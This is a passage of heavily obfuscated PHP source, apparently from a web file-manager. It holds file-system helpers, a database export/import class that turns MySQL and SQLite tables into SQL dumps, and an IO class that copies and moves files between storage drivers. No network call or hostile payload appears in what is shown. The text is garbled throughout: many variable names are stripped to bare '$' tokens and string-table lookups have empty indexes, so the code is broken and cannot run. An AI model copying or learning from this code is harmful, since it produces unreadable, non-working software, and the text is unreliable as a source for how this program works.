readdir($)) !== !1) { if ($Օˣ == $[10] || $Օˣ == $[1382]) { continue; } $ڴ섓 = $ۀ . $Օˣ; $ = is_dir($ڴ섓) && !is_link($ڴ섓) ? 1 : 0; $ڴ섓 = $ ? $ڴ섓 . $[8] : $ڴ섓; $ҿ[] = array($[84] => $ڴ섓, $[75] => $, $[85] => intval(@filemtime($ڴ섓)), $[76] => $ ? 0 : intval($this->size($ڴ섓))); if ($) { $this->listAll($ڴ섓, $ҿ); } } closedir($); return $ҿ; } public function has($Ƃ, $ = false, $ = true) { $» =& $_SERVER[]; $Ƃ = $this->iconvSystem($Ƃ); $Ƃ = rtrim($Ƃ, $»[8]) . $»[8]; if (!($Ӈо = @opendir($Ƃ))) { return !1; } $ = 0; $ٔ = 0; $ = 0; while (($ = readdir($Ӈо)) !== !1) { if ($ == $»[10] || $ == $»[1382]) { continue; } $ێ = $Ƃ . $; if ($) { $++; if (@is_file($ێ)) { $++; } else { $ٔ++; } if ($ > 10000) { break; } continue; } if ($) { if (@is_file($ێ)) { return !0; } } else { if (@is_dir($ێ . $»[8])) { return !0; } } } closedir($Ӈо); if ($) { return array($»[207] => $, $»[208] => $ٔ); } return !1; } public function hashSimple($҆) { $͈ =& $_SERVER[]; if (!$҆) { return md5($͈[12]); } $҆ = $this->iconvSystem($҆); $ش = $this->size($҆); $ = 200; $ = 50; if ($ش <= $ * $) { return $this->hashMd5($҆) . $ش; } $ = $͈[12]; $Ӣ = intval($ش / $); $ = fopen($҆, $͈[1389]); if (!$) { return $; } for ($ = 0; $ < $; $++) { fseek_64($, $Ӣ * $); $ .= fread($, $); } fseek_64($, $ش - $); $ .= fread($, $); fclose($); return md5($) . $ش; } public function getContent($λ) { $λ = $this->iconvSystem($λ); return file_get_contents($λ); } public function setContent($, $ = '') { $ = $this->iconvSystem($); $ = @file_put_contents($, $, LOCK_EX); clearstatcache(); @chmod($, $this->pathAuth); return $ === !1 ? !1 : !0; } public function fileSubstr($כ, $ = 0, $ = false) { $Ԁ =& $_SERVER[]; $כ = $this->iconvSystem($כ); if ($ === !1) { $ = $this->size($כ); } if ($ <= 0) { return $Ԁ[12]; } $ = fopen($כ, $Ԁ[1389]); if (!$) { return !1; } fseek_64($, $); $ = fread($, $); fclose($); return $; } public function upload($ܴ, $ç, $ޞ = false, $˰ = REPEAT_REPLACE) { if ($ޞ) { return $this->moveFile($ç, $ܴ); } return $this->copyFile($ç, $ܴ); } public function setModifyTime($̮, $ی = '') { @touch($̮, intval($ی)); } public function download($, $) { return $this->iconvSystem($); } } goto C؝; f: class DbManage { function __construct($؟Җ = array()) { $ۧ =& $_SERVER[]; if (empty($؟Җ)) { $؟Җ = $GLOBALS[$ۧ[6]][$ۧ[21]]; } $this->database = $؟Җ; } public function model($ = '') { return new ModelBase($, $_SERVER[][12], $this->database); } public function db($Ң = false) { $ڇ =& $_SERVER[]; $ = array_change_key_case($this->database); if ($this->dbType() == $ڇ[13] || !$Ң) { return $this->model()->db(); } $ێ = $[$ڇ[968]]; $[$ڇ[968]] = $ڇ[12]; if ($[$ڇ[963]] == $ڇ[960]) { $ = $[$ڇ[969]]; $[$ڇ[969]] = substr($, 0, strrpos($, $ڇ[1055])); } $this->database = $; $ᇷ = $this->model()->db(); try { $ԥ = $ᇷ->execute("\163\x68\x6f\x77\40\x64\141\x74\x61\142\x61\163\145\x73\x20\x6c\151\153\x65\x20\47{$ێ}\47"); } catch (Exception $) { } if (!$ԥ) { $ᇷ->execute("\143\162\x65\x61\x74\145\x20\144\141\x74\x61\x62\141\163\145\x20\x60{$ێ}\140"); } $[$ڇ[968]] = $ێ; if ($[$ڇ[963]] == $ڇ[960]) { $[$ڇ[969]] .= $ڇ[1055] . $ێ; } $this->database = $; $ᇷ->execute("\x75\163\145\x20\140{$ێ}\140"); return $ᇷ; } public function createTable($, &$) { $Љ =& $_SERVER[]; if (!IO::exist($)) { ActionCall($Љ[1056], !0, 0); show_json(LNG($Љ[1057]), !1); } $ = $this->model()->db(); $ = sqlSplit(IO::getContent($)); foreach ($ as $) { $ = stripos($, $Љ[1058]) === 0; if ($) { $->task[$Љ[783]] += 1; } $->execute($); if ($) { preg_match($Љ[1059], $, $ٕ); $->task[$Љ[1060]] = $ٕ[1]; $->update(1); } } } public function insertTable($Ҏ, &$֛) { $❫ =& $_SERVER[]; $³ = $this->model()->db(); $˲ = $Ϲŀ ? array($Ϲŀ) : $³->getTables(); foreach ($Ҏ as $ڨ) { $Ϲŀ = basename($ڨ, $❫[785]); if (!in_array($Ϲŀ, $˲)) { continue; } $֛->task[$❫[1060]] = $Ϲŀ; if (get_filesize($ڨ) == 0) { continue; } $Պޜ = $this->sqlToDb($ڨ, $֛); if (!$Պޜ) { ActionCall($❫[1056], !0, 0); show_json(LNG($❫[1061]) . "\133{$Ϲŀ}\135", !1); } } } public function sqlFromDb($, $ޅ, &$ح, $ = '') { if ($ح) { $ح->task[$_SERVER[][1060]] = $; } $ = $this->model($); $Ѱ = 0; $ϲ = 0; $ = 10000; $пɼ = fopen($ޅ, $_SERVER[][1062]); $ĥ = $->getPk(); $ߋ = $->getDbFields(); $ = $_SERVER[][12]; if ($GLOBALS[$_SERVER[][784]] && in_array($, array($_SERVER[][1063], $_SERVER[][1064]))) { $ = $; } do { $ = array($ĥ => array($_SERVER[][1010], $ϲ)); $ = $->where($)->field($ߋ)->order($ĥ . $_SERVER[][1065])->limit($)->select(); $ = !empty($) ? $ : array(); if (!($͛ = count($))) { break; } $˸ң = end($); $ϲ = $˸ң[$ĥ]; $ܕ = array(); foreach ($ as $ឱ) { if ($) { if ($ == $_SERVER[][1063]) { if ($ឱ[$_SERVER[][33]] == $_SERVER[][1066]) { $ = json_decode($ឱ[$_SERVER[][374]], !0); if ($[$_SERVER[][32]] == $GLOBALS[$_SERVER[][784]] && $[$_SERVER[][746]] != 1) { continue; } } } else { if ($ឱ[$_SERVER[][33]] == $_SERVER[][1067] && $ឱ[$_SERVER[][94]] == $_SERVER[][776]) { continue; } } } if ($) { $ឱ[$_SERVER[][84]] = "\x7b\x69\157\x3a{$}\175" . substr($ឱ[$_SERVER[][84]], strlen("\173\x69\x6f\72{$ឱ[$_SERVER[][814]]}\175")); $ឱ[$_SERVER[][814]] = $; } $ܕ[] = $_SERVER[][1068] . $this->sqlEncode($ឱ) . $_SERVER[][1069]; } $ܖ = "\x49\116\123\x45\122\124\40\x49\x4e\x54\x4f\40\140{$}\x60\40\x28\x60" . implode($_SERVER[][1070], $ߋ) . $_SERVER[][1071]; fwrite($пɼ, $ܖ . implode($_SERVER[][1072], $ܕ) . $_SERVER[][71] . PHP_EOL); $Ѱ += $͛; if ($ح) { $ح->update($͛); } } while ($ == $͛); fclose($пɼ); return $Ѱ; } public function sqlToDb($Ú, &$) { $ɴ =& $_SERVER[]; $ш핱 = $this->model()->db(); $ = @fopen($Ú, $ɴ[1073]); if (!$) { return !1; } $ʸ = 0; $ = $ɴ[12]; $ = array(); $ = $this->dbType(); $ڱ = $ == $ɴ[13] ? 500 : 2000; $ = basename($Ú, $ɴ[785]); $Ȍ = 0; $ = 4194304 - 104858; $ޱ = 1000000 - 104858; while (!feof($)) { $ԡ = trim(fgets($)); if (!$ԡ) { continue; } $ꗥ = $this->sqlDecode($ԡ, $, $); if (stripos($ꗥ, $ɴ[355]) === 0) { if (!$) { $ = $ꗥ . $ɴ[53]; } continue; } if ($) { $->task[$ɴ[783]] += 1; } $ʸ++; $[] = rtrim(rtrim(trim($ꗥ), $ɴ[50]), $ɴ[71]); $㌷ = null; $ = strlen($ꗥ); $Ȍ += $; if ($Ȍ >= ($ڱ == 500 ? $ޱ : $)) { $㌷ = array_pop($); if ($ʸ > 1) { $ʸ--; } } if ($ʸ >= $ڱ || $㌷) { $ꗥ = $ . implode($ɴ[50], $); if (!$ш핱->execute($ꗥ)) { return !1; } if ($) { $->update($ʸ); } $ = array(); $ʸ = 0; $Ȍ = 0; if ($㌷) { $ = array($㌷); $ʸ = 1; $Ȍ = $; } } } fclose($); if (!empty($)) { $ꗥ = $ . implode($ɴ[50], $); if (!$ш핱->execute($ꗥ)) { return !1; } if ($) { $->update($ʸ); } } return !0; } public function dropTable($Л = null) { $ʁ = $this->model()->db(); $ˋ = $Л ? array($Л) : $ʁ->getTables(); if (!$ˋ) { return; } foreach ($ˋ as $Л) { if ($Л) { $Л = strtolower($Л); } else { continue; } $ʁ->execute("\x64\x72\x6f\x70\x20\x74\x61\142\154\145\40\x69\146\40\145\x78\x69\163\x74\x73\40\140{$Л}\x60"); } } private function sqlEncode($݅) { $ߊ =& $_SERVER[]; $⫓ڶ = array(); foreach ($݅ as $Ϊմ) { if (is_array($Ϊմ)) { $Ϊմ = json_encode_force($Ϊմ); } $Ϊմ = addslashes($Ϊմ); $Ϊմ = str_replace(array($ߊ[1074], $ߊ[231]), array($ߊ[1075], $ߊ[1076]), $Ϊմ); $⫓ڶ[] = str_replace($ߊ[58], $ߊ[1077], $Ϊմ); } return $ߊ[58] . implode($ߊ[1078], $⫓ڶ) . $ߊ[58]; } private function sqlDecode($߈, $ϛی, $ӈ = '') { $ߟ =& $_SERVER[]; $߈ = str_replace(array($ߟ[1075], $ߟ[1076]), array($ߟ[1074], $ߟ[231]), $߈); if ($ϛی == $ߟ[13]) { return $ӈ != $ߟ[1079] ? stripslashes($߈) : $߈; } if ($ӈ == $ߟ[1079]) { $߈ = str_replace($ߟ[1080], $ߟ[118], stripslashes($߈)); } return $߈; } public function getSqlFile($ = '') { $ =& $_SERVER[]; $ = $this->dbType(!0); $ꠎ = CONTROLLER_DIR . "\151\156\x73\x74\x61\x6c\x6c\57\x64\x61\164\x61\57{$}\56\x73\x71\x6c"; $ = file_get_contents($ꠎ); $ = $[1081] . ($ == $[801] ? $[1082] : $[1083]) . $[1084]; preg_match_all($, $, $); $懁 = $[1]; $ = $this->model()->db(); $՞ = $->getTables(); $ަ = TEMP_FILES . $[1085] . date($[747]) . $[8]; del_dir($ަ); mk_dir($ަ); $ = $ަ . $[1086]; $螺 = $ަ . $[1087]; $ڲ = $ == $[13] ? $[801] : $[13]; IO::copy(CONTROLLER_DIR . "\151\156\x73\x74\141\154\154\57\x64\141\x74\141\57{$ڲ}\56\x73\x71\154", $ަ); @touch($ަ . $ . $[785]); $䝚 = fopen($, $[1062]); $Ď = fopen($螺, $[1062]); if ($ == $[13]) { $՞ = array_diff($՞, array($[781], $[782])); $ֺ = array($[1088], $[1089], $[1090]); fwrite($Ď, implode(PHP_EOL, $ֺ) . PHP_EOL . PHP_EOL); foreach ($՞ as $ڏ) { $ = $this->sqlFromSqlite($ڏ); if (!$[$[13]]) { continue; } fwrite($Ď, $[$[13]] . PHP_EOL . PHP_EOL); if (!in_array($ڏ, $懁)) { fwrite($䝚, $[$[801]] . PHP_EOL . PHP_EOL); } } } else { foreach ($՞ as $ڏ) { $ = $this->sqlFromMysql($ڏ); if (!$[$[801]]) { continue; } fwrite($䝚, $[$[801]] . PHP_EOL . PHP_EOL); if (!in_array($ڏ, $懁)) { fwrite($Ď, $[$[13]] . PHP_EOL . PHP_EOL); } } } fclose($䝚); fclose($Ď); $ = array($[801] => $, $[13] => $螺); return $ ? $[$] : $; } public function dbType($Ϗ = false) { $Վ =& $_SERVER[]; $̕ = $Ϗ ? $GLOBALS[$Վ[6]][$Վ[21]] : $this->database; $̕ = array_change_key_case($̕); $ԃ = $̕[$Վ[963]]; if ($ԃ == $Վ[960]) { $̇ = explode($Վ[4], $̕[$Վ[969]]); $ԃ = $̇[0]; } $ = array($Վ[1091] => $Վ[13], $Վ[908] => $Վ[801]); if (isset($[$ԃ])) { $ԃ = $[$ԃ]; } return $ԃ; } public function sqlFromMysql($, $ = '') { $ﬤ =& $_SERVER[]; $ܡ = $this->model()->db(); $҇ = $ܡ->query($ﬤ[1092] . $ . $ﬤ[385]); if (!$҇ || !$҇[0]) { return !1; } $ֻ = _get($҇[0], $ﬤ[1093], $ﬤ[12]); if (!$ֻ) { return !1; } $ܼ = "\104\122\117\120\x20\124\101\102\x4c\105\40\x49\x46\40\x45\130\x49\x53\124\123\x20\x60{$}\140\x3b" . PHP_EOL . $ֻ . $ﬤ[71]; if ($ && $ == $ﬤ[801]) { return $ܼ; } $ = array_change_key_case($GLOBALS[$ﬤ[6]][$ﬤ[21]]); $͡ = $[$ﬤ[968]]; $ = $ﬤ[1094] . $͡ . $ﬤ[1095] . $ . $ﬤ[58]; $ = $ﬤ[1096] . $ . $ﬤ[896]; $ܹ = $ܡ->query($); if (empty($ܹ)) { $㉄ = array($ﬤ[801] => $ﬤ[12], $ﬤ[13] => $ﬤ[12]); return $ ? $㉄[$] : $㉄; } $ = $ܡ->query($); $Ɏ = $ﬤ[12]; $ = array(); foreach ($ as $Х) { if (!$Ɏ && $Х[$ﬤ[1097]] == $ﬤ[1098]) { $Ɏ = $Х[$ﬤ[1099]]; } if (isset($[$Х[$ﬤ[1097]]])) { $[$Х[$ﬤ[1097]]][$ﬤ[1100]][] = $Х[$ﬤ[1099]]; continue; } $[$Х[$ﬤ[1097]]] = array($ﬤ[1101] => $Х[$ﬤ[1097]], $ﬤ[1100] => array($Х[$ﬤ[1099]]), $ﬤ[1102] => $Х[$ﬤ[1103]] == $ﬤ[88] ? 0 : 1); } $ⷳ = array(); foreach ($ as $Х) { $ۿ = $Х[$ﬤ[1101]] == $ﬤ[1098]; $ = array($ﬤ[1104], $Х[$ﬤ[1102]] == $ﬤ[88] && !$ۿ ? $ﬤ[1105] : $ﬤ[12], $ﬤ[1106], $ﬤ[1107] . $ . $ﬤ[11] . ($ۿ ? $ﬤ[1108] : $Х[$ﬤ[1101]]) . $ﬤ[118], $ﬤ[1109], $ﬤ[118] . $ . $ﬤ[118], $ﬤ[1110] . implode($ﬤ[1111], $Х[$ﬤ[1100]]) . $ﬤ[1112]); $ⷳ[] = implode($ﬤ[53], $) . $ﬤ[71]; } $ = array(); $ = array($ﬤ[1113] => $ﬤ[1114], $ﬤ[1114] => $ﬤ[1114], $ﬤ[288] => $ﬤ[315], $ﬤ[287] => $ﬤ[315]); foreach ($ܹ as $Х) { $ = array($ﬤ[118] . $Х[$ﬤ[1115]] . $ﬤ[118], isset($[$Х[$ﬤ[1116]]]) ? $[$Х[$ﬤ[1116]]] : $Х[$ﬤ[1117]], $Х[$ﬤ[1118]] == $ﬤ[894] ? $ﬤ[1119] : $ﬤ[1120], $Х[$ﬤ[1115]] == $Ɏ ? $ﬤ[1121] : $ﬤ[12], $Х[$ﬤ[945]] ? strtoupper(str_replace($ﬤ[11], $ﬤ[12], $Х[$ﬤ[945]])) : $ﬤ[12]); $[] = trim(implode($ﬤ[53], $)); } $ߜ = array($ﬤ[1122] . $ . $ﬤ[1123], $ﬤ[1124] . $ . $ﬤ[1125], implode($ﬤ[50] . PHP_EOL, $), $ﬤ[942]); $ = implode(PHP_EOL, array_merge($ߜ, $ⷳ)); if ($ && $ == $ﬤ[13]) { return $; } $㉄ = array($ﬤ[801] => $ܼ, $ﬤ[13] => $); return $ ? $㉄[$] : $㉄; } public function sqlFromSqlite($, $Ջ۩ = '') { $ =& $_SERVER[]; $ = $this->model()->db(); $ = "\x50\122\101\x47\x4d\x41\x20\124\101\x42\114\105\137\x49\116\x46\117\x20\50\47{$}\47\51"; $ = "\123\105\x4c\105\x43\124\40\52\x20\x46\122\x4f\x4d\40\x73\x71\x6c\151\164\x65\x5f\155\141\x73\x74\145\x72\40\127\x48\105\x52\x45\40\x74\142\154\137\156\141\155\145\x20\x3d\40\47{$}\x27"; $ = $->query($); if (empty($)) { $Èި = array($[801] => $[12], $[13] => $[12]); return $Ջ۩ ? $Èި[$Ջ۩] : $Èި; } $Ϯ = $->query($); $ = $ = array(); foreach ($Ϯ as $Ď) { if ($Ď[$[33]] == $[279]) { $[] = $Ď[$[1126]]; } else { $[$Ď[$[32]]] = $Ď[$[1126]]; } } $ǎ = array_merge(array($[1122] . $ . $[118]), $, array_values($)); $ǎ = implode($[71] . PHP_EOL, $ǎ) . $[71]; if ($Ջ۩ && $Ջ۩ == $[13]) { return $ǎ; } $ = array(); $ = array($[1114] => $[1127], $[315] => $[1128]); $鞢 = $[12]; foreach ($ as $Ď) { if ($Ď[$[57]] == $[88]) { $鞢 = $Ď[$[32]]; } $ = array($[385] . $Ď[$[32]] . $[385], isset($[$Ď[$[33]]]) ? $[$Ď[$[33]]] : $Ď[$[33]], $Ď[$[35]] == $[88] ? $[1119] : $[1129] . $Ď[$[56]], $Ď[$[57]] == $[88] ? $[1130] : $[12]); $[] = trim(implode($[53], $)); } foreach ($ as $ۂ => $) { $ꎡ = str_replace($[1131] . $ . $[11], $[12], $ۂ); $ʦ = str_replace(array($[118], $[953]), $[385], substr($, stripos($, $[260]))); if ($ꎡ == $[1108]) { $ = $[1132] . $鞢 . $[1133]; } else { $ = (stripos($ꎡ, $[11]) ? $[1134] : $[12]) . ($[1135] . $ꎡ . $[1136] . $ʦ); } $[] = $; } $μ = array($[1137] . $ . $[1138], $[1139] . $ . $[1140], implode($[50] . PHP_EOL, $), $[1141]); $ = implode(PHP_EOL, $μ); if ($Ջ۩ && $Ջ۩ == $[801]) { return $; } $Èި = array($[801] => $, $[13] => $ǎ); return $Ջ۩ ? $Èި[$Ջ۩] : $Èި; } } class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($κ, $ҥ㥬) { $ =& $_SERVER[]; $̈́ = $ҥ㥬; $GLOBALS[$[1142]] = $[1143] . $κ; Hook::trigger($[1143] . $κ . $[1144], $̈́); $Ҧ = self::driverMake($ҥ㥬[0]); if (!$Ҧ) { return !1; } if (method_exists($Ҧ, $κ)) { $ከ = @call_user_func_array(array($Ҧ, $κ), $ҥ㥬); } else { if (method_exists($Ҧ, $[1145])) { $ከ = @call_user_func_array(array($Ҧ, $κ), $ҥ㥬); } else { if (method_exists(self, $κ)) { $ከ = @call_user_func_array(array(self, $κ), $ҥ㥬); } else { $ከ = call_user_func_array(array(parent, $κ), $ҥ㥬); } } } Hook::trigger($[1143] . $κ . $[1146], $̈́, $ከ); return $ከ; } public static function init($) { return self::driverMake($); } public static function copy($ŌŤ, $, $ŏ = false, $غ = false) { return self::copyMoveStart($ŌŤ, $, $ŏ, $_SERVER[][546], $غ); } public static function move($, $ϛ, $ = false, $ݺ = false) { return self::copyMoveStart($, $ϛ, $, $_SERVER[][548], $ݺ); } private static function copyMoveStart($, $َ, $, $, $) { $ =& $_SERVER[]; $ = array($, $َ, $, $); Hook::trigger($[1143] . $ . $[1144], $); $ = self::copyMove($, $َ, $, $, $); Hook::trigger($[1143] . $ . $[1146], $, $); return $; } public static function saveFile($ȏ, $Ѫ, $鶢 = true) { $ѧ =& $_SERVER[]; $ = self::info($Ѫ); $ = self::driverMake($ȏ); $ = self::driverMake($Ѫ); $ɂ = !1; if ($->pathParse[$ѧ[1147]]) { $ɂ = $; $ň = $->pathParse[$ѧ[1147]]; $ = self::driverMake($ň); } if ($->pathParse[$ѧ[1147]]) { $ = $->pathParse[$ѧ[1147]]; $ = self::driverMake($); } $͙ = $->pathFather($Ѫ); $̔ = !0; if (!$鶢 && self::driverIsSame($, $)) { $̔ = !1; } $ = self::copyFile($, $ȏ, $, $͙, $[$ѧ[32]], $̔); if ($ɂ) { $ = $ɂ->getPathOuter($); } return $; } private static function copyMove($Ġ, $, $ÿ, $, $ۿ = false) { $ =& $_SERVER[]; if (!$Ġ || $Ġ == $[8] || !$) { return !1; } ignore_timeout(); $ݤ = self::driverMake($Ġ); $̑ = self::driverMake($); $ԓĢ = $ == $[548]; $ = !1; if ($̑->pathParse[$[1147]]) { $ = $̑; $ = $̑->pathParse[$[1147]]; $̑ = self::driverMake($); } if ($ݤ->pathParse[$[1147]]) { $Ġ = $ݤ->pathParse[$[1147]]; $ݤ = self::driverMake($Ġ); } self::check($ݤ, $Ġ, $̑, $); Hook::trigger($[1148], $ݤ, $Ġ, $̑, $); $竄 = self::driverIsSame($ݤ, $̑); if ($竄) { if ($ == $[548] && !method_exists($̑, $[1149]) && trim($, $[8]) == trim($̑->pathFather($Ġ), $[8])) { if ($ݤ->pathThis($Ġ) != $ۿ && !$ݤ->isTypeObject()) { return $ݤ->rename($Ġ, $ۿ); } return $̑->getPathOuter($Ġ); } if (method_exists($̑, $)) { return $̑->{$}($Ġ, $, $ÿ, $ۿ); } } if ($竄 && $ == $[548] && $̑->getType() == $[106]) { $ܯ = $̑->movePath($Ġ, $, $ۿ); if ($ܯ) { return $ܯ; } } $č = $ݤ->isFile($Ġ); if (!$č && $̑->getType() == $[754] && $ݤ->getType() == $[106]) { $ܯ = $̑->copyFolderFromIO($ݤ, $Ġ, $, $ÿ, $ԓĢ, $ۿ); } else { $ܯ = self::copyPath($ݤ, $Ġ, $̑, $, $ÿ, $ԓĢ, $č, $ۿ); } if ($ܯ && $ԓĢ) { $ݤ->remove($Ġ); } if ($) { $ܯ = $->getPathOuter($ܯ); } return $ܯ; } private static function check($, $ۧ, $ŵꚯ, &$) { $ =& $_SERVER[]; if (self::driverIsSame($, $ŵꚯ) && $->isFolder($ۧ) && $->isParentOf($ۧ, $)) { show_json(LNG($[1150]), !1); } if (!$->exist($ۧ)) { show_json(LNG($[105]), !1); } } private static function copyPath($ߑ, $ƍ, $, $ӷ, $, $ف, $Ǵʼn, $ዠ = false, $ = true) { $ =& $_SERVER[]; $ = empty($ዠ) && $ዠ !== $[198] ? $ߑ->pathThis($ƍ) : $ዠ; if ($) { $를 = $->fileNameExist($ӷ, $); $ = $; $ = $->fileNameAuto($ӷ, $, $, !$Ǵʼn); if (!$를 || $ != $) { $ = !1; } if ($ && !$) { $->_data[$[1151]] = !0; } } if ($Ǵʼn) { return self::copyFile($ߑ, $ƍ, $, $ӷ, $, $ف); } if ($ == REPEAT_RENAME_FOLDER) { $ = !1; } $ˑÙ = rtrim($ӷ, $[8]) . $[8] . $; $ڞĨ = $->mkdir($->getPath($ˑÙ), $); $ӷ = $->getPathInner($ڞĨ); $ј = $ߑ->listPath($ƍ, !0); $ј = is_array($ј) ? $ј : array($[83] => array(), $[82] => array()); $ = array_merge($ј[$[83]], $ј[$[82]]); foreach ($ as $ꉴ) { $В = $ꉴ[$[33]] == $[200]; $ƍ = $ߑ->getPathInner($ꉴ[$[84]]); $ = self::copyPath($ߑ, $ƍ, $, $ӷ, $, $ف, $В, !1, !1); if (!$) { IO::errorTips($[1152] . $ƍ . $[70] . $ӷ); } } self::copyMoveKeepInfo($ߑ, $ƍ, $ڞĨ); return $ڞĨ; } private static function copyFile($ޠ, $, $, $턪, $ì, $) { $ѕ =& $_SERVER[]; $턪 = $->getPath(rtrim($턪, $ѕ[8]) . $ѕ[8] . $ì); $˄ = $ѕ[1153] . time() . rand_string(5); Hook::trigger($ѕ[1154], $ޠ, $, $, $턪, $ì, $˄); if (self::driverIsSame($ޠ, $)) { if ($) { $ = $->moveFile($, $턪); } else { $ = $->copyFile($, $턪); } Hook::trigger($ѕ[1155], $ޠ, $, $, $턪, $ì, $); self::copyMoveKeepInfo($ޠ, $, $); return $; } $Ą = TEMP_FILES; if ($GLOBALS[$ѕ[6]][$ѕ[89]][$ѕ[793]]) { $Ą = $GLOBALS[$ѕ[6]][$ѕ[89]][$ѕ[793]]; } $֔ = $Ą; mk_dir($֔); $ = $֔ . $˄; $ = $; $ = $ޠ->download($, $); $ = $ޠ->iconvApp($); if (substr($, strlen($Ą)) == $Ą) { $ = !0; } $ = $->upload($턪, $, $); self::remove($); Hook::trigger($ѕ[1155], $ޠ, $, $, $턪, $ì, $); self::copyMoveKeepInfo($ޠ, $, $); return $; } private static function copyMoveKeepInfo($ب̈, $֟, $Ŏ) { if (!$Ŏ) { return; } $ = $ب̈->info($֟); if (!is_array($)) { return; } IO::setModifyTime($Ŏ, $[$_SERVER[][85]]); } public static function pathFather($ܸ) { $ = IO::init($ܸ); $Ȼր = $->pathFather($->path); return $->getPathOuter($Ȼր); } public static function fileOut($圍, $䚠 = false, $Зߜ = false, $ = '') { $ = self::driverMake($圍); if ($->isFileOutServer()) { return $->fileOutServer($圍, $䚠, $Зߜ, $); } return $->fileOut($圍, $䚠, $Зߜ, $); } public static function fileOutImage($, $ = 250) { $ = array(250, 600, 1200, 2000, 3000, 5000); for ($כ = 0; $כ < count($); $כ++) { if ($כ == 0 && $ <= $[$כ]) { $ = $[$כ]; break; } else { if ($ > $[$כ - 1] && $ <= $[$כ]) { $ = $[$כ]; break; } else { if ($כ == count($) - 1 && $ > $[$כ]) { $ = $[$כ]; break; } } } } $ե = self::driverMake($); if ($ե->isFileOutServer()) { return $ե->fileOutImageServer($, $); } return $ե->fileOutImage($, $); } private static function driverIsSame($, $) { $֣ =& $_SERVER[]; $Ϗư = $->getType(); $φ = $->getType(); if ($Ϗư != $φ) { return !1; } if ($Ϗư == $֣[754]) { return !0; } if ($Ϗư == $֣[106]) { return !0; } if ($->pathDriver == $->pathDriver) { return !0; } return !1; } public static function copyUpdate($ɷθ, $ݾ) { $۪ =& $_SERVER[]; if (!IO::exist($ɷθ)) { return !1; } if (!IO::exist($ݾ)) { IO::mkdir($ݾ); } $ܑ = array_to_keyvalue(self::listAllSimple($ɷθ), $۪[84]); $렫 = array_to_keyvalue(self::listAllSimple($ݾ), $۪[84]); $ = array(); $ǀ = array(); foreach ($ܑ as $ => $ܪ) { if (isset($렫[$])) { if ($ܪ[$۪[75]] == 1) { continue; } if ($렫[$][$۪[76]] == $ܪ[$۪[76]]) { continue; } } if ($ܪ[$۪[75]] == 1) { $ǀ[] = $ݾ . $۪[8] . trim($, $۪[8]); continue; } $є = strstr(trim($, $۪[8]), $۪[8]) ? get_path_father($) : $۪[12]; $[] = array($۪[1156] => $ܪ[$۪[86]], $۪[1157] => rtrim($ݾ, $۪[8]) . $۪[8] . $є, $۪[1158] => $ܪ); } $Ɲᳪ = array($۪[200] => $, $۪[75] => $ǀ); Hook::trigger($۪[1159], $ɷθ, $ݾ, $Ɲᳪ); foreach ($ǀ as $ܪ) { IO::mkdir($ܪ); } foreach ($ as $ܪ) { IO::copy($ܪ[$۪[1156]], $ܪ[$۪[1157]], REPEAT_REPLACE); } } public static function fileSubstr($, $߇, $ٗ = false) { $ =& $_SERVER[]; $ = self::driverMake($); $ؠ = $->size($); $ﮤ = $߇; $ = $ٗ; if ($߇ < 0) { $߇ = $ؠ + $߇; } if ($ٗ === !1) { $ٗ = $ؠ - $߇; } if ($߇ + $ٗ > $ؠ) { $ٗ = $ؠ - $߇; } if (!$ؠ && $->getType() == $[106] && !$->exist($)) { $Νۀ = get_path_this($); $ = parse_url_query($Νۀ); if (is_array($) && isset($[$[32]])) { $Νۀ = urldecode($[$[32]]); } throw new Exception($[1160] . LNG($[1161]) . $[962] . clear_html($Νۀ) . $[12]); } if ($ٗ <= 0) { return $[12]; } if ($߇ < 0 || $߇ >= $ؠ || $ٗ > 1024 * 1024 * 10) { throw new Exception("\146\x69\154\x65\122\145\141\144\x20\x65\162\x72\157\162\41\40\163\x74\141\162\164\x3d{$߇}\x3b\x6c\145\156\147\164\x68\x3d{$ٗ}\x3b\40\163\x69\x7a\x65\x3d{$ؠ}\x3b"); } $ = $->fileSubstr($, $߇, $ٗ); if (!$ && $ٗ && isset($GLOBALS[$[1162]])) { throw new Exception($GLOBALS[$[1162]][$[1163]]); } return $; } private static function driverMake(&$) { $Þ =& $_SERVER[]; $۬ = KodIO::parse($); if (!self::$driverListSystem) { $ = Model($Þ[764])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($, $Þ[399]); } if ($۬[$Þ[33]] == KodIO::KOD_IO && !self::$driverListSystem[$۬[$Þ[399]]]) { return !1; } $ = $۬[$Þ[1164]]; $ = self::driverGet($۬, $); return $; } private static function driverGet($י, &$́) { $ʔ =& $_SERVER[]; $ = $י[$ʔ[1165]]; $Ǩɫ = $י[$ʔ[399]]; switch ($י[$ʔ[33]]) { case KodIO::KOD_IO: $ʨҒ = self::$driverListSystem[$Ǩɫ]; break; case KodIO::KOD_SOURCE: $́ = $Ǩɫ . $́; $ʨҒ = array($ʔ[1166] => $ʔ[1167], $ʔ[6] => $י); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $ = $GLOBALS[$ʔ[1168]]; self::$driverListUser = array_to_keyvalue($, $ʔ[399]); } $ʨҒ = self::$driverListUser[$Ǩɫ]; break; case KodIO::KOD_SHARE_LINK: $ʨҒ = array($ʔ[1166] => $ʔ[1169], $ʔ[6] => $י); $ = Action($ʔ[1170])->sharePathInfo($י[$ʔ[84]]); $́ = $[$ʔ[402]]; if (!$[$ʔ[402]]) { $ʫɯ = Model($ʔ[592])->getInfo($[$ʔ[593]]); $́ = KodIO::clear($ʫɯ[$ʔ[1171]] . $י[$ʔ[1164]]); $י[$ʔ[486]] = $ʫɯ; $י[$ʔ[1147]] = $́; $ʨҒ = array($ʔ[1166] => $ʔ[1172], $ʔ[6] => $י); } break; case KodIO::KOD_SHARE_ITEM: $ʨҒ = array($ʔ[1166] => $ʔ[1173], $ʔ[6] => $י); $ʫɯ = Model($ʔ[592])->getInfo($י[$ʔ[399]]); if ($ʫɯ[$ʔ[402]] == $ʔ[198]) { $́ = KodIO::clear($ʫɯ[$ʔ[1171]] . $י[$ʔ[1164]]); $י[$ʔ[486]] = $ʫɯ; $י[$ʔ[1147]] = $́; $ʨҒ = array($ʔ[1166] => $ʔ[1174], $ʔ[6] => $י); } else { if (!$́) { $́ = $ʫɯ[$ʔ[402]]; } } break; default: $́ = $י[$ʔ[84]]; $ʨҒ = array($ʔ[1166] => $ʔ[1175]); break; } $ߥ = $י[$ʔ[84]]; if (!isset(self::$driverCache[$ߥ])) { $鴠 = 